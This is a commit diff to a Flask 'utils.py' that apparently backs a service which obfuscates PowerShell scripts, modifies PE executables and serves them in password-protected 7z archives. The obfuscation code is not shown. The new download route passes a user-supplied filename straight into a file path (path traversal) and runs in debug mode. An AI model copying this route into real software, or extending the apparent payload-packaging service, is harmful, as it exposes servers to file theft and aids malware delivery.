Update utils.py

utils.py

@@ -3,7 +3,7 @@ import subprocess
 import random
 import string
 from datetime import datetime
-from flask import Flask, jsonify, send_file, current_app, url_for
+from flask import Flask, request, jsonify, send_file, current_app
 import shutil
 import tempfile
 import requests
@@ -26,7 +26,7 @@ def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
 def generate_random_password(length=12):
-    return ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=length))
+    return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))
 
 def obfuscate_powershell_script(ps1_path):
     try:
@@ -267,9 +267,9 @@ def process_request():
             "7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
         ], check=True)
 
-        # Return the URL and password for the .7z file in the response
-        archive_url = url_for('uploaded_file', filename=archive_name, _external=True)
-        return jsonify({"archive_url": archive_url, "password": password})
+        # Return the download URL and password in the JSON response
+        download_link = f"/download/{archive_name}"
+        return jsonify({"download_link": download_link, "password": password})
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")
@@ -279,9 +279,10 @@ def process_request():
         if temp_dir and os.path.exists(temp_dir):
             shutil.rmtree(temp_dir, ignore_errors=True)
 
-@app.route('/uploads/<filename>')
-def uploaded_file(filename):
-    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
+@app.route('/download/<filename>')
+def download_file(filename):
+    file_path = os.path.join(UPLOAD_FOLDER, filename)
+    return send_file(file_path, as_attachment=True)
 
 if __name__ == '__main__':
     app.run(debug=True)